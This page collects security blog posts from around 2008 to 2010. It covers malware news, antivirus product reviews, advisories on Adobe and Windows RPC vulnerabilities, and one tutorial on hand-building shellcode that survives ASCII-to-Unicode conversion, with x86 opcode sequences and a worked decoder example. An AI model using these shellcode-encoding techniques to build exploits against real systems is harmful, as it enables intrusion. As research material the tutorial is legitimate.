Examining malware will be illegal in Canada

We’ve got a new law coming up in Canada: C-32, otherwise known as DMCA-lite.

Lemme quote you a section:

29.22 (1) It is not an infringement of copyright for an individual to reproduce a work or other subject-matter or any substantial part of a work or other subject-matter if
[...]
(c) the individual, in order to make the reproduction, did not circumvent, as defined in section 41, a technological protection measure, as defined in that section, or cause one to be circumvented.

Now, of course, if you want to examine a virus, or other malware, you have to make a copy, right?  So, if the virus writer has obfuscated the code, say by doing a little simple encryption, obviously he was trying to use a “technological protection measure, as defined in that section,” right?  So, decrypting the file is illegal.

Of course, it’s been illegal in the US for some years, now …

 
 
 
Share

Microsoft Security Essentials review (part 2)

My initial, and superficial, review of MSE is still sparking all kinds of comment.

Today it decided to update itself.  Didn’t ask, of course.  It just tied up the computer for about half an hour.  I was able to get some stuff done, as long as I was willing to wait ridiculous amounts of time for responses.

Share

ASCII gone bad / Zer0-overflow

This post is a followup on my previous post on KISS shellcoding and exploitation. Like before this is part of the job I do for SecuriTeam’s SSD. Those that are not aware of the project its aim is to give researchers compensation for their researcher efforts, compensation of course being money not just fame and glory )
The most common and classic shellcode char restrictions is “zero tolerance”. this can be solved in a verity of different methods. ranging from substitution to polymorphic escape decoders. Solving zero-tolerance is a very useful and thought-provoking problem, however provides a limited amount of fun:). especially once a basic set of solutions has been developed.

Let’s have a look at slightly more challenging problem – can we write shellcode that contains a null char at every other byte, and *only* every other byte, for e.g. s\x00h\x00e\x00l\x00l\x00c\x00o\x00d\x00e0

This can happen if our shellcode were to pass through a call to MultiByteToWideChar() or similar function. This is often encountered in browser bugs (especially DOM and/or scripting).

Some work has been done on this subject, namely a method was described by ngss reasercher Chris Anley. This method was coined “Venetian Blinds” or ”The Venetian exploit”. The method I suggest here is similar, but slightly different in that it does not make as many assumptions and presents a more theoretical approach. This work is an original unrelated effort.

Let us get to it.

Enumerating the methods we can use to write ugly ascii-to-unicode shellcode we find many are similar to regular zero-tolerance or ascii shellcode methods.

We can decode in-place, copy, byte-substitute. These methods will become more clear as you read. In some cases it will be necessary to find eip/getPC.

This also can be done in several ways, similarly to shown in my previous post, but differently( Try encoding FSTENV with null bytes, email me if you succeed :)

It will take many pages to thoroughly cover all of these methods and so I’ll start with the simplest copy method.

Instead of just presenting the final result, I will walk through my thought process working on this. In this post I present several different trials at shellcode, some of which are not immediately useful. This will allow you to better understand the intricacies shellcode-restriction, and get a feel for the different problems I faced.

Let’s copy our code somewhere. If we were to decode in-place, we would essentially write the same code, as well as extra getPC code.

Not as easy as it sounds. let us start from building restriction-compliant basic-blocks which can br used later. These blocks shall suffice:
1) set register
2) string operation
3) branch
4) glue block

These translate to:

1) mov reg32, imm32
2) mov [reg32],imm8
inc reg32 # imm8 !=0
3) jmp/call reg32
4) a “glue block” that can be use between every two blocks, and between two compliant opcodes. This is a compliant block that starts and ends with a null byte. we’ll mark it *GB.

if we want to get a bit fancier we may need:
3) pop reg32
4) mov [reg32],imm16 # imm16 bytes not equal 0
inc reg32
inc reg32

(U) basic block number one: setting a register – attempt 1.0
the following opcode:
mov ecx, 0×11223344
decodes like this:
B9 44332211

which of course is not very helpful to us. The best we can do with our restriction and this basic opcode is:
B9 00330011 == mov ecx, 0×11003300

this is not very useful. we want to be able to put an arbitrary value into r32. let’s divide in to two parts by bytes:

two lower bytes(“3rd and 4th”):let’s start by setting the two lower bytes. this is easy

*GB ; zero-out ecx
push 0
pop ecx

mov edx,77007700 BB00770077 ; use edx as help-reg

*GB
add ch,dh – 00F5 c
mov edx,66006600 – BB00660066.

*GB
add cl,dh – 00F1

This is a good method for the lower bytes. let’s call it “set (cx, 0×1122)”.

Those readers with a keen eye may notice that assembling these opcodes may not result in compliant shellcode.

This is because different byte-sequences may represent the same opcode. x86 opcodes are built of micro-codes or U-codes(with the greek letter mewh). Every Ucode performs a very basic operation. Several of these are dubbed “opcode”. Different sequences of Ucodes may result in the same end and therefore be functionally-equivalent, usually an assembler will choose the faster one.

topmost two bytes:
in order to set the topmost byte we can:

mov ecx,66006600 – BB00660066.

In order to set the topmost byte to zero we can: zero out the whole r32, later setting byte’s 3&4 . this is done by replacing our first opcode with the sequence:
push 0 – 6A00
pop ecx – 59

onwards.

we are now able to set the 1st,3rd, and 4th bytes of a register. how will we set the second? if the value needed is very low or very high we could:
set (cx, 0xFFFF)
*GB

inc ecx – 41
*GB
set (cx, 0xFFFF)
etc.

or

set (cx, 0×0000) ; this is not trivial, but easy
*GB
DEC ecx – 41

etc.

This method is not very space-conservative. let’s try finding a better method.

And now for something completely different – let’s find a better method. This time the process will include taking a peak at the intel x86 reference manual (I used the xeon manual) in search for interesting opcode encodings.

(U) basic block number one: attempt 2.0 – setting the top two bytes.

this time, we’ll try using program memory, specifically – the stack. this may a good method because many stack operations are single-byte. this may be bad, if sp points somewhere unwritable when the shellcode is running(but can be adapted).

fun fact – sifting through the intel reference manual we can see that the set of operands al /ax /eax can provide plenty compliant opcodes which will not be compliant with other registers used. for eg:
MOV DWORD PTR DS:[EBX],110011 – C7 03 11 00 11 00
MOV DWORD PTR DS:[EAX],110011 – C7 00 11 00 11 00

now consider the following opcodes:
push 11003300 – 6800330011
*GB
push esp – 54
*GB
pop eax – 58
*GB
add dword ptr [eax], 00220044
*GB
pop ecx

now ecx == 0×11223344
this is better than we expected. we have set all four bytes.

we already know how to change the two lower-most bytes if we want to zero them out. we also know how to zero out the 2nd topmost byte,or both high bytes. if we want to get 0×00112233 we can use (i’m omitting opcode encoding from hereon):

push 11003300 ; [esp] = 11003300
*GB
push 11003300 ; [esp] = 11003300
*GB
inc esp ; [esp] = 00110033
*GB
pop ecx ; ecx = 00110033
*GB
dec esp ; [esp] = 11003300
pop eax ; to restore stack

and then set the missing low bytes. We already know a different way of doing this – look for it.

Thus we have a compact method of performing mov r32,imm32 for any value.

(U) basic block no. 2: mov [reg32],imm8, inc reg32 # imm8 !=0 – attempt 1.0

First, let’s assume we know what data is present at the copy destination address. In this case, it will be pretty easy to build this BB. We will be using an add operation. here we are adding 0×90 to a one byte at [ecx], and ecx++.

mov eax,90009000 ; ah=90
add byte ptr [ecx],ah ; [ecx] += 0×90
inc ecx

this of course will be padded with *GB whenever needed. if we don’t know what data lays at [ecx] we could try this:
push ecx
pop eax ; eax =ecx
mov byte ptr al,[eax] ; al= [ecx]

;negate eax
push 0
pop ebx
add bh,al ; bh =al == [ecx]
xor ebx, ff00ff00
push 0
pop eax;
add al,bh ; al = al ^ 0xff == [ecx]^0xff
inc al ; al++ == -(byte ptr [ecx] )

;add negated value, and wanted value
mov edx, 11001100
add al,dh
add byte ptr [ecx],al ; [ecx] = [ecx] + (-[ecx] + dh) == dh == 11
inc ecx

once again, padded with *GB. this is not very elegant or small, but seems to work nicely. let’s give it another try. this time using completely different types of opcodes:
push esp
pop edx

inc ecx
inc ecx
inc ecx
inc ecx

push ecx
pop esp

set(ebx,0×90909090)
push ebx

push edx
pop esp

this looks nicer.

(U) 3) jmp/call reg32
this is easy:
push ecx
*GB
retn

(U) 4) the star of the evening – our very own – Glue Block we could try this:
ADD BYTE PTR SS:[EBP],AL – 004500

or this – after setting the right registers.

ADD BYTE PTR DS:[EAX],CL ; (we could probably pull eax off the stack, but can’t use set(eax,0xADDR) because we can’t use this GB, which is needed to do this there are probably a few others. Using these may require us to do minor fixups. this basically sums up everything we need to build a fancy ascii-to-shellcode decoder. now that we have our 4 basic blocks we can use them to program/ like this: 2-3-4-1-1-1-2-3-4-4/ just kidding. :)

An example simple windows code that copies four nop bytes to [7FFE0300 +0x100] looks like this:
what we would really be copying is a short code to find the original shellcode, and decode it. this is pretty simple straight-forward assembly

; ecx = 7FFE0400
68 0004007F PUSH 7F000400
0045 00 ADD BYTE PTR SS:[EBP],AL
54 PUSH ESP ; GB
58 POP EAX
8100 0100FE00 ADD DWORD PTR DS:[EAX],0FE0001
59 POP ECX
0045 00 ADD BYTE PTR SS:[EBP],AL
49 DEC ECX

;al = 0×90

0045 00 ADD BYTE PTR SS:[EBP],AL
B8 00900090 MOV EAX,90009000
00E0 ADD AL,AH

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL; [ecx] = 0×90
0045 00 ADD BYTE PTR SS:[EBP],AL
41 INC ECX ;ecx++

;byte ptr [ecx] = 0×90
;ecx ++

0001 ADD BYTE PTR DS:[ECX],AL [ecx] = 0×90
0045 00 ADD BYTE PTR SS:[EBP],AL
41 INC ECX

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL
41 INC ECX

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL
0045 00 ADD BYTE PTR SS:[EBP],AL

;jmp [ecx-4]

DEC ECX
DEC ECX
DEC ECX
DEC ECX

51 PUSH ECX
0045 00 ADD BYTE PTR SS:[EBP],AL
C3 RET

0000

Of course, all the methods I discussed here can be highly optimized(such using dword values?), and probably some other methods may be used. these are the basics :)

Also, if we want to keep a code-shellcode ratio anything close to plausible, we will have to be able to write small amount of bytes that can find the original chunk and decode it from our
destination address. this can very often be done through use of register and stack state at the time the shellocde started running. we’re in luck with this – pushad is compliant.

Share

Adobe 0-day vulnerability (CVE-2009-4324) – what this means?


SecuriTeam Blogs contains several FAQ documents about MS Office vulnerabilities used in targeted attacks since 2006. This time I’m not writing a FAQ. This document has answers to What this means type questions.

What an organization can make to protect?


#1 Disable JavaScript. Deploy a system to deliver this setting to all workstations. This is not the last Adobe 0-day which we will see.

What this means?

Go to Edit>Preferences menu, select item ‘JavaScript’, Uncheck “Enable Acrobat JavaScript” and to save the setting click ‘OK’.


#2 Enable DEP

Some Windows systems include Data Execution Prevention (DEP) functionality.

What this means?

If your organization is using Windows versions with DEP support the code execution can be avoided.

Adobe has confirmed these mitigation advices in security advisory APSA09-07, but as mentioned DEP method doesn’t fully prevent the exploitation.


#3 Do not open PDF documents from unknown sources AND received unexpectedly.

What this means?

If you don’t know the sender who is sending you file attachments there is always a risk that you are a victim of targeted attack. Remember that the sender can be easily spoofed as well.


#4 Switch to alternative PDF reader.

There are many free and commercial products. However, they are often affected by Adobe vulnerabilities too and a patching policy is needed when switching to another product.

What this means?

Changing the PDF reader in large organization is not an easy move. Today is a good day to start the planning project.

Let’s talk about technical details with some words. The vulnerability exists in Doc.media.newPlayer method. The Trojan in these attacks generated connections to http: // foruminspace dot com and http: // newsplaza dot net (these servers are located in Malaysia).

AV vendors use the following names when detecting the malicious PDF document:

Exploit.JS.Pdfka.atq (Kaspersky)

Exploit:W32/AdobeReader.UZ (F-Secure)

Exploit-PDF.ag (McAfee)

PDF/Pidief.NQ (CA)

Trojan.Pidief.H (Symantec)

TROJ_PIDIEF.PGS (Trend Micro)

Troj/PDFJs-FS (Sophos)

The size of the infected PDF document is 400,918 bytes. The file name varies, but it can be note200911.pdf, note_20091210.pdf or Outline of Interview.pdf.

Share

A Fairy Tale

Withdrawn on legal advice. Sigh…

So I’m going to ask some hypothetical questions instead.

Principle 3 of the AMTSO (Anti-Malware Testing Standards Organization) guidelines document (http://www.amtso.org/amtso—download—amtso-fundamental-principles-of-testing.html) states that “Testing should be reasonably open and transparent.”

The document goes on to explain what information on the test and the test methodology it’s reasonable to ask for.

So is it open and transparent for an anti-malware tester who claims that his tests are compliant with AMTSO guidelines to decline to answer a vendor’s questions or give any information about the reported performance of their product unless they buy a copy of the report or pay a consultancy fee to the tester?

There is, of course, nothing to stop an anti-malware tester soliciting payment from the vendors whose products have been tested both in advance of the test and in response to requests for further information. But is he then entitled to claim to be independent and working without vendor funding? In what respect is this substantially different to the way in which certification testing organizations work, for example?

It seems to me that AMTSO is going to have to consider those questions at its next meeting (in Prague, next week). Purely hypothetically, of course. What do you think?

David Harley CISSP FBCS CITP
Small Blue-Green World

Share

Microsoft Security Essentials review

What with twenty years experience in reviewing AV software, I figured I’d better try it out.

It’s not altogether terrible.  The fact that it’s free, and from Microsoft (and therefore promoted), might reduce the total level of infections, and that would be a good thing.

But even for free software, and from Microsoft, it’s pretty weird.

When I installed it, I did a “quick” scan.

That ran for over an hour on a machine with a drive that’s got about 70 Gb of material on it, mostly not programs.  At that point I hadn’t found out that you can exclude directories (more on that later), so it found my zoo.  It deleted nine copies of Sircam.

Lemme tell ya ’bout my zoo.  It’s got over 1500 files in it.  There are a lot of duplicate files (hence the nine copies of Sircam), and there are files in there that are not malware.  There are files which have had the executable file extensions changed.  But there are a great number of common, executable, dangerous pieces of malware in there, and the only thing MSE found was nine copies of Sircam.

(Which it deleted.  Without asking.  Personally, for me, that’s annoying.  It means I have to repopulate my zoo from backups.  But for most users, that’s probably a good thing.)

Now, when I went to repopulate my zoo, I, of course, opened the zoo directory with Windows Explorer.  And all kinds of bells and whistles went off.  As soon as I “looked” at the directory, the real-time component of MSE found more than the quick scan did.  That probably means the real-time scanner is fairly decent.  (In my situation it’s annoying, so I turned it off.  MSE is now annoyed at me, and continues to be annoyed, with big red flags on my task bar.)
MSE has four alert levels to categorize what it finds, and you have some options for setting the default actions.  The alert levels are severe (options: “Recommended action,” “Remove,” and “Quarantine”), high (options: “Recommended action,” “Remove,” and “Quarantine”), medium (options: “Recommended action,” “Remove,” “Quarantine,” and “Allow”), and low (options: “Recommended action,” “Remove,” “Quarantine,” and “Allow”).  Initially, everything is set at “Recommended action.”  I turned everything down to the lowest possible settings: I want information, not strip mining.  However, for most people it would seem to be reasonable to keep it at the default action, which seems to be removal for everything.
I don’t know where it puts the quarantined stuff.  It does have a directory at C:\Documents and Settings\All Users\Application Data\Microsoft Security Essentials, but no quarantined material appears to be there.

(I did try to find out more.  It does have help functions.  If you click on the “Help” button, it sends you to this site.  However, if you click on the link to explain the actions and alert levels, it sends you to this site.  If you examine those two URLs, they are different.  If you click on them, you go to the same place.  At that location, you can get some pages that offer you marketing bumpf, or watch a few videos.  There isn’t much help.)
You can exclude specific files and locations.  Personally, I find that extremely useful, and the only reason that I’d continue using MSE.  It does seem to work: I excluded my zoo before I did a full scan, and none of my zoo disappeared when I did the full scan.  However, for most users, the simple existence of that option could signal a loophole.  If I was a blackhat, first thing I’d do is find out how to exclude myself from the scanner.  (There is also an option to exclude certain file types.)

So I did a full scan.  That took over eight hours.  I don’t know exactly how long it took, I finally had to give up and leave it running.  MSE doesn’t report how long it took to do a scan, it only reports what it found.  (I suspect the total run was around ten or eleven hours.  MSE reports that a full scan can take up to an hour.)

While MSE is running it really bogs down the machine.  According to task manager it doesn’t take up much in the way of machine cycles, but the computer sure isn’t responsive while it’s on.
When I came back and found it had finished, the first thing it wanted me to do was send a bunch of suspect files to Microsoft.  The files were all from my email.  On the plus side, the files were all messages that reported suspect malware or Websites, so it’s possible that we could say MSE is doing a good job in scanning files and examining archives.  (On the other hand, every single message was from Sunbelt Software.  This could be coincidence, but it is also a fact that Sunbelt makes competing AV software, and was formerly associated with a company that Microsoft bought in its race to produce AV and anti-spyware components.)

Then I started to go through what Microsoft said it found, in order to determine what I had lost.

The first item on the list was rated severe.  Apparently I had failed to notice six copies of the EICAR test file on my machine.

Excuse me?  The EICAR test file?  A severe threat?  Microsoft, you have got to be kidding.  And the joke is not funny.

The EICAR test file is a test file.  If anyone doesn’t know what it is, read about it at EICAR, or at Wikipedia if you don’t trust EICAR.  It’s harmless.  Yes, a compatible scanner will report it, but only to show that your scanner is, in fact, working.

It shouldn’t delete or quarantine all copies it finds on the machine.

MSE also said it quarantined fifteen messages from my email for having JavaScript shell code.  Unfortunately, it didn’t say what they were, and I wasn’t sure I could get them back.  I don’t know why they were deleted, or what the trigger was.  MSE isn’t too big on reporting details.  I don’t know whether these messages were simply ones that contained some piece of generic JavaScript, and got boosted up to “severe” level.  Given the EICAR test file experience, I’m not inclined to give Microsoft the benefit of the doubt.

After some considerable work, I did find them.  They seemed to be the “suspect” messages that Microsoft wanted.  And when I tried to recover them, I found that MSE had not quarantined them: they were left in place.  So, at the very least, at times MSE lies to you.

(I guess I’d better add my email directory to places for MSE not to scan.)
MSE quarantined some old DOS utilities.  It quarantined a bunch of old virus simulators (the ones that show you screen displays, not actual infectors).  (Called them weird names, too.)

MSE quarantined Gibson Research‘s DCOMbob.exe.  This is a tool for making sure that DCOM is disabled on your machine.  Since DCOM was the vector for the Blaster worm (among others), and is really hard to turn off under XP, I find this rather dangerous.

OK, final word is that I can use it.  I’ll want to protect certain areas before I do, but that shouldn’t be too much of a concern for most users.

You might want to make sure Microsoft isn’t reading your email …

Share

A Myth Laid to Reset: I’m Sorry, to Rest

As it’s been a while, here’s a little light-ish relief from my semi-recreational blog….

http://dharley.wordpress.com/2009/09/19/a-myth-laid-to-rest/

Share

If Cane Toads, why not computer viruses?

Those in the Australian state of Queensland are having a cull of cane toads, a pest.  I don’t know whether it would work, but the mass reduction of a pest population is, generally speaking, a good thing.  It may not eliminate the problem once and for all, but a sharp decrease in population is usually better than a constant pressure on a species.

So, is there any way we can get some support going for a mass cull of computer viruses?  Most currently “successful” viruses are related to botnets, and botnets are often used to seed out new viruses.  Viruses are used to distribute other forms of malware.  Doing a number on viruses would really help the information security situation all around.  (I have, for some years, been promoting the idea that corporations, by sponsoring security awareness for the general public, would, in fact, be doing a lot to reduce the level of risk in the computing and networking environment, and therefore improving their own security posture.)

Share

Police hacking

Recent news that UK government approving Police hacking into suspected home computers has caused a bubble in the info-sec world. They can hack into private computers either by sending an e-mail containing a virus to the suspect’s computer or breaking into a residence to install a keystroke logger onto a machine or simply place a surveillance van in the vicinity of a wireless network to intercept the traffic. Computers of users who are suspected of terrorism, pedophilia or identity or credit card theft will be targeted.

They have even asked the security product/services providers to stop detecting/blocking their keyloggers and other spyware tools. However few security vendors have raised an issue and expressed their inability to cooperate with the federals. As per Znet, security vendors Kaspersky Labs and Sophos told ZDNet UK that they would not make any concession in their protective software for the police hack. Symantec has not commented on this. However in the past they have Symantec has said that its antivirus software will not scan for the FBI’s Magic Lantern keylogging software. This is a spyware program that the Feds can hack into your machine to log and report all keystrokes back to them.

I personally find this very scary and “privacy intruded” and since conceptually there’s no difference between a malicious code and the one used for the Government, there are BIG chances that an AV can miss it!!!

This means punching a BIG hole in the security device which in turn is surely a big Boom for malware authors. If Cops drop a trojan on suspect’s system installed with antivirus software white-listing Police hacking tools and if this suspect turns out to a prestigious member of underground malware writers, then he can reverse engineer the cop-hack-tool to write his own code and compromise more such systems.

I personally feel Kaspersky Labs and Sophos are really doing a good job by taking their stand on not creating a backdoor for malware writers.

Share

Everything new is old again – Native Client

Google has garnered a lot of interest, over the past day or two, with its radically new idea, released under the name Native Client.  You can read the announcement at http://google-code-updates.blogspot.com/2008/12/native-client-technology-for-running.html or download the research paper (in PDF) at http://nativeclient.googlecode.com/svn/trunk/nacl/googleclient/native_client/documentation/nacl_paper.pdf
That idea sounded so familiar I just knew it had to have been done before.

It has.  It’s just a dressed up version of an activity monitor.  The oldest form of AV actually implemented.  In fact, it dates back to the days just slightly before the first PC viruses, when people were trying to prevent damage by some of the early PC trojans that were being shared on BBSes.

Or, if they take it far enough, and if you like, you can call it a form of virtual machine.  And we are back to http://blogs.securiteam.com/index.php/archives/1171

Share

Insecure Managazine – December Edition

It’s good to see that my challenge from yesterday to write a blog post a day for the next week seems to have got some people blogging on here again, so c’mon, let’s try and keep this up for the week.

If no-one’s ever read the INSECURE magazine before, then now is a great time to start reading them, and go through the back issues as well, as the information held within this magazine is usually really worthwhile.

To give you an overview of what’s contained within this months issue, here’s the index.

  • The future of AV: looking for the good while stopping the bad
  • Eight holes in Windows login controls
  • Extended validation and online security: EV SSL gets the green light
  • Interview with Giles Hogben, an expert on identity and authentication technologies working at ENISA
  • Web filtering in a Web 2.0 world
  • RSA Conference Europe 2008
  • The role of password management in compliance with the data protection act
  • Securing data beyond PCI in a SOA environment: best practices for advanced data protection
  • Three undocumented layers of the OSI model and their impact on security
  • Interview with Rich Mogull, founder of Securosis

You can download the magazine from here:

http://www.net-security.org/insecuremag.php
Hats off to the guys and girls at Net-Security for working so hard on a top quality magazine.

Update: Corrected link

Share

OS X malware family has a new member: OSX.Lamzev.A

New Trojan horse for Mac environment has been discovered.

The Trojan is known as OSX.Lamzev.A by Symantec.

When it is executed it will create the file ezmal to the Applications folder (the name is Applications in localized installations too).

The names of earlier widely known OS X malware are Mac.Hovdy.a (June ’08), OSX.Exploit.Launchd (June ’06) and Leap.A (February ’06). When saying ‘widely known’ it doesn’t mean that they were widely spreaded.

I remember the exact number of 63 when talking about known Mac malware.

There are no worms for Apple – yet.

Share

Sinowal Trojan – difficult to catch since Feb 2006

RSA Security’s Blog has information about the seriousness of the Sinowal banking Trojan.

Like many of us know this Trojan aka Trojan-PSW:W32/Sinowal.CP and Trojan.Mebroo uses so-called MBR rootkit technique.

Link here.

Share

Happy Birthday Morris!

Randy Abrams recently pointed out to me that today is the 20th anniversary of the Morris Worm. For all you kids out there who have no recollection of this event, I’ve just posted a blog at http://www.eset.com/threat-center/blog/?p=165 that recaps on the worm and includes some relevant references, but right now I want to expand on a thought I had while I was writing it.

The Morris worm was very much of its time. It was a proof of concept (actually of several concepts) item of malware that showed a certain interest in and knowledge of some vulnerabilities that were current at that time (mostly a fingerd buffer overflow exploit and a somewhat flaky implementation of sendmail debugging), and was clearly meant to be self-launching. Most current malware, while it may well use drive-by downloads and other exploits, seems to use some form of social engineering. So maybe the earlier CHRISTMA EXEC worm was the real pioneer, with its mass mailing payload and its chainletter appeal to the gullibility of the victim. Well, we can draw dotted lines between old and new malware from now to Christmas, which is the sort of thing that interests saddos like me but doesn’t necessarily gain us much in terms of securing the internet.

Looking through some historical resources, it strikes me that there are some moments in malware history that not only define the time, but in some way draw a line under it, though Morris was followed by a copycat VMS worm the following year). After that, though, we waited quite a while for a real mass mailer epidemic and for the big network worms of this decade. Melissa managed to mark both the beginning of heavy duty mass mailers and the end (or at least the decline) of macro malware. Yet there are no full stops here. In 2008, we’re still seeing new(-ish) stuff cheek-by-jowl with the sort of malware we’ve mostly forgotten about: old-time boot sector viruses and new-age MBR rootkits; macro viruses and office suite exploits; overflows and drive-bys; and an endless loop of social engineering tricks (phishes, 419s, fake admin messages, fake codecs, fake updates…) The only really substantial change is the disappearance of the hobbyist hacker/malware author, promoted into full-blown cyber-criminality.

It seems that what we really need to patch is human nature: the evil gene, the greed gene, the careless gene, the “what’s a patch?” gene, the “I can click on anything because I have anti-virus software” gene…

David Harley CISSP FBCS CITP
ESET LLC

Share

The victims of RPC Trojan Gimmiv were XP boxes in Asia

The RPC Worm Victim List has a list [.txt] of hundreds machines and they are mainly Windows XP machines (MSIE 6.0 or MSIE7.0; Windows NT 5.1 in browser’s user agent).

I made a script to generate WHOIS queries and the results say that the victim machines are located mainly in Australia, China, Philippines, India, Japan, Korea, Malta, Malaysia, Taiwan, and Vietnam. There are only some machines in France, UK, and USA.

It’s very interesting that there is an IP from Microsoft too – a Wget machine with IP address 64.147.0.80. The Wget version is 1.10.2.

Whois Record

OrgName: Microsoft Corp
OrgID: MSFT
Address: One Microsoft Way
City: Redmond
StateProv: WA
PostalCode: 98052
Country: US

NetRange: 131.107.0.0 – 131.107.255.255
CIDR: 131.107.0.0/16
NetName: MICROSOFT

There are several Wget UA’s included, one with the version number Wget/1.8.2 too.

I recommend that Redmon guys patch that machine ASAP ;-)

Share

Microsoft Windows RPC Vulnerability MS08-067 (CVE-2008-4250) FAQ – October 2008 [UPDATED]

Summary:
This is Frequently Asked Questions document about new, recently patched RPC vulnerability in Microsoft Windows. The document describes related Trojan and worm malware as well.
It is worth of noticing that code execution type vulnerabilities in Office programs are widely used to industrial espionage since 2006. This time the exploitation represents the use of non-Office vulnerabilities and e-mail attack vector is not used.

Update: After the weekend the malware analyses shows that the Trojan has designed to steal credential information and to collect a botnet-like network.

Q: What is the recent Microsoft Window RPC vulnerability disclosed in October?
A: This vulnerability is caused by an error when processing malformed RPC (Remote Procedure Call) requests. The issue was disclosed by the vendor after active exploitation of the vulnerability.
Q: How does the vulnerability mentioned works?
A: The vulnerability is code execution type vulnerability. Attacker successfully exploiting this vulnerability can run code of his or hers choice in the affected machine.
This vulnerability is caused due to overflow when handling malformed RPC requests. This enables executing arbitrary code of the attacker. Technically the vulnerability exists in the Server service.

Q: When this vulnerability was found?
A: The exact information is not available. Information about upcoming security update was announced on 22nd October, but this vulnerability has been used in targeted attacks at least two weeks already. The exploitation disclosed the existence of vulnerability.

Q: What is the mechanism in exploitation?
A: Information was not disclosed, but during the exploitation malicious executables are being downloaded and executed from the remote Web site.

Q: Is the exploit code of this vulnerability publicly released?
A: Yes. On Friday 24th October the proof of concept code was released on a blog of security researcher and on public, moderated security mailing list. The PoC has been released at several well-known exploit and security community Web sites too. Metasploit module has been released too (link). PoC’s work against Windows XP SP2, Windows XP SP3 and Windows 2003 Server SP2 machines.

Q: Which Windows versions are affected?
A: Microsoft Windows 2000, Windows XP, Windows Vista, Windows 2003 Server and Windows Server 2008 systems are affected.

Q: I am using the 7 Pre-Beta version of Windows, is my operating system affected?
A: According to the Microsoft it is affected too. An update is available (see MS08-067).

Q: I am a home user, is it possible to update my system in a normal way via Microsoft Update?
A: Yes, visiting the Microsoft Update Web site at http://update.microsoft.com/ will update the system against the exploitation of the vulnerability. If the Automatic Updates is enabled the system will be updated automatically without user’s actions.

Q: Where are the official Microsoft documents related to this case located?
A: The official Security Bulletin MS08-067, entitled Vulnerability in Server Service Could Allow Remote Code Execution (958644) has been released at Microsoft TechNet Security section:
www.microsoft.com/technet/security/Bulletin/MS08-067.mspx
Updated information released by the vendor has been covered at MSRC Blog (The Microsoft Security Response Center Blog). The address of the blog is blogs.technet.com/msrc/.
File information of the MS08-067 security update has been released at separate Knowledge Base document #958644: support.microsoft.com/kb/958644.
Microsoft Security Advisory #958963 released to notify the availability of the security update is located at
www.microsoft.com/technet/security/advisory/958963.mspx

Q: What the term ‘out-of-band’ means?
A: Normally Microsoft releases security updates once a month, at the second Tuesday of the every month. Very rarely, during the Windows ANI vulnerability etc. the security update will come out outside of this regular update cycle. Out-of-band and out-of-cycle describe the situation when waiting the regular update Tuesday, so-called Patch Tuesday is not enough to protect Windows systems against exploitation.
The next security updates will be released on Tuesday 11th November.

Update:
Q: Is this a new Slammer worm?
A: No, due to new security features included to SP2 etc. However, on 3rd Nov it was reported about the worm exploiting this vulnerability.

Q: Are there any workarounds available? Our organization is making tests with the patch still.
A: The security bulletin lists the following workarounds:
-Disable the Server and Computer Browser services
-Block TCP ports 139 and 445 at the firewall

Q: Is there Snort rules for this vulnerability available?
A: Yes. Additional details can be obtained at
www.snort.org/vrt/advisories/vrt-rules-2008-10-23.html
known as a ruleset against Microsoft DCE/RPC remote code execution attempts.
The download address is www.snort.org/pub-bin/downloads.cgi
(to paying Sourcefire customers)
Emerging Threats project has released new signatures too, details at

http://www.emergingthreats.net/index.php/component/content/article/17-sigs/125-weekly-new-signatures-october-25-2008.html

Q: What is the situation of Nessus plugins related to this vulnerability?
A: Nessus Plugin ID #34476 has been released. More information is available at
www.nessus.org/plugins/index.php?view=single&id=34476

Q: What are the target organizations etc. of this vulnerability?
A: This information is not available and probably it will never go public. Microsoft has confirmed that fever than 100 organizations are targeted in targeted attacks.

Q: Is there information about file sizes used during the attacks?
A: Yes. The size is 397,312 bytes.
Update: The size can be anything between 49,152 and 417,792 bytes.

Q: How the user can notify the infection?
A: It is reported that the command prompt will appear.

Q: What are the names of malwares exploiting this vulnerability?
A: There are reports about a data collecting Trojan (Gimmiv.A) and a Trojan searching for non-patched machines on LAN (Arpoc.A).

The following names are being used (listed in alphabetical order):
AhnLab – Dropper/Gimmiv.397312 since 2008.10.24.04
Authentium – W32/Gimmiv.A since 23rd Oct
Avira – TR/Dldr.Agent.gcx since 24th Oct, iVDF 7.00.07.81
Bitdefender – Win32.Worm.Gimmiv.A since since 23rd Oct
- dropper detected as Win32.Worm.Gimmiv.B
CA – Win32/Gimmiv.A since eTrust 31.6.6167
ClamAV – Trojan.Gimmiv since 8524
- Trojan.Gimmiv-1…Trojan.Gimmiv-7 since 8526
Dr.Web – DLOADER.PWS.Trojan since 23rd Oct
Eset – Win32/Gimmiv.A since 24th Oct, v.3551
- Win32/Spy.Gimmiv, Win32/Spy.Gimmiv.A since v.3553
- Win32/Spy.Gimmiv.B since v.3555
Fortinet – W32/Gimmiv.A!tr.spy
- name change: W32/Gimmiv.A!worm since 9.676
F-Secure – Trojan-Spy:W32/Gimmiv.A since 2008-10-24_01
- Trojan-Spy:W32/Gimmiv.B since 2008-10-24_05
- Trojan-Spy:W32/Gimmiv.C, D, E, F variants since 2008-10-24_08
- Net-Worm.Win32.Gimmiv.a since 25th Oct 2008-10-25_01
McAfee – PWS.y!C91DA1B9 since DAT5413
- Spy-Agent.da since 23rd Oct, DAT5414, its DLL component detected as Spy-Agent.da.dll
Microsoft – TrojanSpy:Win32/Gimmiv.A[.dll] since 23rd Oct
- since 24th Oct update 1.4005 included signatures
- exploit: Exploit:Win32/MS08067.gen!A
Kaspersky – Trojan-Downloader.Win32.Agent.alce since 24th Oct, 7.0.0.125
Panda Security – detected as ‘Suspicious file’ since 23rd Oct, 9.0.0.4
- Gimmiv.A since 24th Oct
PCTools – Trojan-Spy.Gimmiv.A
Prevx – detected as ‘Cloaked Malware‘
Rising – Trojan.Spy.Win32.Undef.z since 23rd Oct, 21.00.32.00
Sophos – Sus/Dropper-A since 21st Aug (based to heuristic techniques)
- additionally Troj/Gimmiv-A, IDEs since 4.34.0,
- Troj/Gimmiv-Gen since 4th Nov
Symantec – Infostealer since 23rd Oct
- name change: Trojan.Gimmiv.A since 24th Oct, rev. 024
- malicious files detected as Bloodhound.Exploit.212
